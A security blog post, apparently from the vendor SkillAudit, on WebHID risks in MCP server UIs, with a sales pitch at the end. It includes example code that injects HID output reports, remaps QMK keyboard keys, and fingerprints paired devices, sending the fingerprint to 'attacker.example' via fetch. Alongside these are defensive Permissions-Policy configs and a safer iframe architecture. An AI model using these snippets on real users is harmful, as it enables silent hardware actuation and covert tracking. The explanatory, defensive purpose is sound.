Blog · MCP Server Security

MCP server WebHID API security — HID report injection, device fingerprinting, persistent hardware access

WebHID gives browser-based MCP server UIs direct access to Human Interface Devices — keyboards, gamepads, accessibility switches, LED controllers, industrial input panels, and custom HID peripherals. Once a device is paired through a user gesture, the browser retains access indefinitely across sessions without re-prompting. MCP tool output that flows into device.sendReport() can actuate physical hardware. And navigator.hid.getDevices() returns the full list of paired devices without any gesture — exposing a stable, high-entropy hardware fingerprint of the user's workspace.

HID output report injection from MCP tool output

The WebHID API distinguishes between input reports (data flowing from device to browser — keystrokes, button presses, sensor readings) and output reports (data flowing from browser to device — LED state, haptic patterns, display updates, relay activation). An MCP server that constructs output report payloads from external data sources and passes them to device.sendReport(reportId, data) hands physical device control to whatever supplies those values.

// DANGEROUS: MCP tool output controls HID output report payload
async function applyToolResponse(device, toolResult) {
  // toolResult.reportId and toolResult.reportData come from MCP tool
  // If toolResult is attacker-controlled, this actuates the physical device
  const reportData = new Uint8Array(toolResult.reportData);
  await device.sendReport(toolResult.reportId, reportData);
}

// Example: gaming peripheral RGB controller — report 0x05 sets LED colors
// Attacker-supplied toolResult: { reportId: 5, reportData: [255, 0, 0, 0, 0, 0, 0] }
// Legitimate use: set LEDs to red. Attack use: strobe pattern inducing photosensitivity.

// DANGEROUS: input report simulation via feature report on HID keyboard emulators
// Some USB HID-over-BLE bridges accept output reports that inject keystroke sequences
// Report 0x01 on keyboard usage page with keycode = 0x3B (F2) triggers UI interactions
async function injectKeystroke(device, keycode) {
  // modifier byte + reserved + keycodes[0..5]
  const report = new Uint8Array([0x00, 0x00, keycode, 0, 0, 0, 0, 0]);
  await device.sendReport(0x01, report);  // Simulates physical keypress
}

The severity depends on the device class. For a gaming peripheral the worst case is nuisance lighting effects. For an accessibility device (switch interface, AAC device, braille display) injecting output reports disrupts assistive communication. For industrial HID controllers — panel switches, machine control interfaces, relay boards exposed via HID — output report injection is a physical safety issue.

Physical actuation without user visibility: Unlike a visible navigation or form submission, device.sendReport() executes silently. The user sees nothing in the browser UI. If MCP tool output reaches this call path, the attacker achieves out-of-band physical effects with no browser-level indicator.

HID input report injection — simulating device input

Some HID device classes can be controlled bidirectionally. USB HID-over-BLE bridges, custom keyboard firmware (QMK, ZMK via WebHID configurator), and accessibility switch interfaces accept output reports that the device firmware interprets as injecting input events. Writing to a HID keyboard emulator's output characteristic can cause the device to transmit synthetic keystrokes to the host OS — bypassing browser sandboxing entirely because the OS receives what it believes to be physical keyboard input.

// QMK-compatible keyboard via WebHID: raw HID interface for firmware config
// Output report to config interface: [command, data...]
// Command 0x04 = dynamic keymap set keycode
// This changes what physical keys send at the OS level — not just the browser
async function remapKey(device, layer, row, col, keycode) {
  const data = new Uint8Array(32).fill(0);
  data[0] = 0x04;  // DYNAMIC_KEYMAP_SET_KEYCODE
  data[1] = layer;
  data[2] = row;
  data[3] = col;
  data[4] = (keycode >> 8) & 0xFF;
  data[5] = keycode & 0xFF;
  await device.sendReport(0x00, data);
  // Physical key now sends attacker's keycode until reset
}

getDevices() — stable hardware fingerprint without gesture

navigator.hid.requestDevice() requires a user gesture. But navigator.hid.getDevices() returns every HID device the origin has ever been granted permission for — with no gesture requirement, callable at any time, including from document.addEventListener('DOMContentLoaded', ...). Each device object contains vendorId, productId, productName, and the full HID report descriptor tree.

// Fingerprinting via getDevices() — no gesture required, runs silently on page load
navigator.hid.getDevices().then(devices => {
  const fingerprint = devices.map(d => ({
    vendor: d.vendorId.toString(16).padStart(4, '0'),
    product: d.productId.toString(16).padStart(4, '0'),
    name: d.productName,
    collections: d.collections.length,
    usagePage: d.collections[0]?.usagePage,
  }));

  // Example fingerprint output for a security researcher's workstation:
  // [
  //   { vendor: '046d', product: 'c52b', name: 'USB Receiver', usagePage: 1 },
  //   { vendor: '04d8', product: 'eb2d', name: 'YubiKey OTP+FIDO', usagePage: 65280 },
  //   { vendor: '1532', product: '0084', name: 'BlackWidow Elite', usagePage: 1 }
  // ]
  // vendorId+productId tuple uniquely identifies hardware model.
  // The combination of paired devices creates a high-entropy workspace fingerprint.

  fetch('https://attacker.example/collect', {
    method: 'POST',
    body: JSON.stringify({ fingerprint, origin: location.origin })
  });
});

The device list changes slowly — users rarely pair and forget HID devices. This makes the fingerprint extremely stable across browser sessions, incognito windows (which inherit the permission store), and even browser updates on the same profile. Combined with canvas fingerprint and font enumeration, getDevices() results add hardware-level uniqueness that no privacy extension blocks.

Incognito does not help: WebHID permissions granted in a normal browsing context are accessible from navigator.hid.getDevices() in incognito windows on the same Chrome profile. The permission store is profile-scoped, not context-scoped.

Persistent HID permission — no automatic expiry

When a user grants WebHID access via requestDevice(), the permission persists in the browser's permission store indefinitely. There is no expiry, no inactivity timeout, and no automatic revocation when the device is physically disconnected. The permission remains until the user explicitly visits Settings > Privacy and Security > Site Settings > HID Devices and clicks "Remove" for the specific origin-device pair. Most users never do this.

// Checking for already-paired devices — no gesture needed
// This runs on every page load, silently enumerating persistent permissions
window.addEventListener('load', async () => {
  const devices = await navigator.hid.getDevices();
  for (const device of devices) {
    if (!device.opened) {
      await device.open();  // Also requires no gesture if permission already granted
    }
    // Device is now open and ready for sendReport() / oninputreport
    device.addEventListener('inputreport', handleReport);
  }
});

// SAFE: forcing users to re-confirm access each session
// There is no WebHID API equivalent of "forget device" from JavaScript.
// The only mitigation is using Permissions-Policy to block WebHID on pages
// that render MCP tool output and only enable it on explicitly trusted pages.

// In HTTP response headers for tool-output rendering pages:
// Permissions-Policy: hid=()
// This prevents navigator.hid from existing on that page entirely.

requestDevice() gesture gating — what it does and does not protect

navigator.hid.requestDevice() must be called from within a user gesture handler (click, keydown, pointerdown). Tool output that arrives asynchronously cannot trigger it directly. However, this protection only covers the initial pairing. Once paired:

This means the gesture requirement only prevents the initial permission dialog from being triggered silently. Every subsequent operation on an already-paired device can be driven entirely by tool output without any user interaction.

Defense principle: Treat "user already granted permission" as a threat model input, not a security property. Your MCP server UI must defensively restrict what operations tool output can trigger, even on already-paired devices.

Permissions-Policy: hid=() — restricting WebHID access

The Permissions-Policy HTTP response header (or <iframe> allow attribute) can disable the hid feature entirely for a page or frame. When Permissions-Policy: hid=() is set, navigator.hid is undefined — the API does not exist on that page, regardless of any permissions previously granted.

# Nginx: disable WebHID on tool-output rendering pages
location /tool-output/ {
    add_header Permissions-Policy "hid=()" always;
    # Other security headers
    add_header Content-Security-Policy "default-src 'self'" always;
}

# Caddy: Caddyfile
route /tool-output/* {
    header Permissions-Policy "hid=()"
}

# Express.js middleware using helmet
app.use('/tool-output', (req, res, next) => {
  res.setHeader('Permissions-Policy', 'hid=()');
  next();
});

# Explicit allowlist for the specific page that legitimately needs HID access:
# Permissions-Policy: hid=(self)
# This allows navigator.hid only on same-origin top-level documents,
# not in cross-origin iframes and not inherited by tool-output rendering frames.

Apply hid=() to every page that renders MCP tool output. Grant hid=(self) only to the specific configuration page that legitimately needs to pair HID devices, and ensure that page never renders unvalidated tool output.

Web API attack surface comparison

Web API What tool output can do (on paired devices) Defense
WebHID sendReport() Actuate LEDs, haptics, relays, remapped keys on physical HID device Never pass tool output to sendReport(); validate reportId whitelist
WebHID getDevices() Enumerate all paired HID devices: vendorId, productId, productName, report descriptors Permissions-Policy: hid=() on tool-output pages; no gesture needed for this call
WebHID oninputreport Read keystroke data, button presses, sensor values from paired HID device Never attach input report listeners in tool-output rendering context
WebHID device.open() Open already-paired device without gesture — enables all subsequent operations Only open devices in response to explicit user action, not tool output
WebHID requestDevice() Cannot be triggered from tool output (requires user gesture) Gesture gate protects initial pairing only; subsequent operations are unprotected
WebHID permission persistence Previously granted permissions silently available on every subsequent page load Instruct users to revoke HID permissions after legitimate use; document procedure

Protecting against HID device fingerprinting in MCP contexts

If your MCP server UI does not require WebHID access at all, the most effective mitigation is blocking the API entirely via Permissions-Policy: hid=() in all response headers. This prevents navigator.hid.getDevices() from enumerating the paired device list even on origins that were previously granted HID access.

If your UI legitimately uses WebHID (e.g., a keyboard configurator built on top of MCP), architect the UI so that HID operations happen in a separate page or iframe that never receives raw tool output. The tool-output rendering component should receive sanitized, typed data structures — not raw JavaScript-executable content or HID report payloads.

// SAFE architecture: separate HID control from tool output rendering

// hid-controller.js — runs in isolated page with Permissions-Policy: hid=(self)
// Receives only structured, validated messages from tool-output renderer
window.addEventListener('message', async (event) => {
  if (event.origin !== 'https://skillaudit.dev') return;
  const { type, deviceIndex, brightness } = event.data;

  // Only accept validated message types, never raw report data from tool output
  if (type !== 'SET_LED_BRIGHTNESS') return;
  if (typeof brightness !== 'number' || brightness < 0 || brightness > 100) return;

  const devices = await navigator.hid.getDevices();
  const device = devices[deviceIndex];
  if (!device || !device.opened) return;

  // Construct report from validated parameters — tool output never touches this
  const reportData = new Uint8Array([Math.round(brightness * 2.55)]);
  await device.sendReport(0x06, reportData);
});

// tool-output-renderer.js — runs with Permissions-Policy: hid=()
// navigator.hid is undefined here — tool output cannot touch HID
function renderToolOutput(toolResult) {
  // Parse and validate tool result, then send structured message
  if (toolResult.action === 'set_brightness') {
    const brightness = Number(toolResult.value);
    if (isNaN(brightness)) return;
    hidFrame.contentWindow.postMessage(
      { type: 'SET_LED_BRIGHTNESS', deviceIndex: 0, brightness },
      'https://skillaudit.dev'
    );
  }
}

SkillAudit findings for WebHID security

SkillAudit's dynamic analysis connects real HID-capable browsers to MCP servers and tests whether tool output can influence HID operations. The scanner checks for paired device enumeration without gesture, report payload injection paths, and missing Permissions-Policy headers on tool-output endpoints.

CRITICAL −22 HID output report injection (physical actuation): MCP tool output reaches device.sendReport() with attacker-controlled reportId or report data, enabling physical actuation of paired HID devices without any user gesture or UI indication.
HIGH −18 getDevices() enumeration as hardware fingerprint: navigator.hid.getDevices() called on page load or within tool response handler — exposes vendorId, productId, productName for all previously paired devices without gesture, creating stable cross-session hardware fingerprint.
HIGH −16 Persistent HID permission without documented revocation: HID device permissions granted during setup persist indefinitely with no session expiry or inactivity timeout; application does not document revocation procedure or prompt users to remove HID permissions after task completion.
MEDIUM −10 Missing Permissions-Policy: hid=() on tool-output pages: Tool-output rendering endpoints do not set Permissions-Policy: hid=(), leaving navigator.hid available on pages that display unvalidated tool results and should not require HID access.

See also: MCP server Web Bluetooth security covers GATT characteristic injection and BLE device fingerprinting — the Bluetooth equivalent of the WebHID attack surface. MCP server WebSerial security covers serial port access and out-of-band device communication via tool output.

Audit your MCP server's WebHID exposure with SkillAudit. Our scanner tests HID report injection paths, enumerates permission persistence risks, and validates Permissions-Policy header coverage across all tool-output rendering endpoints. View pricing and start a free scan.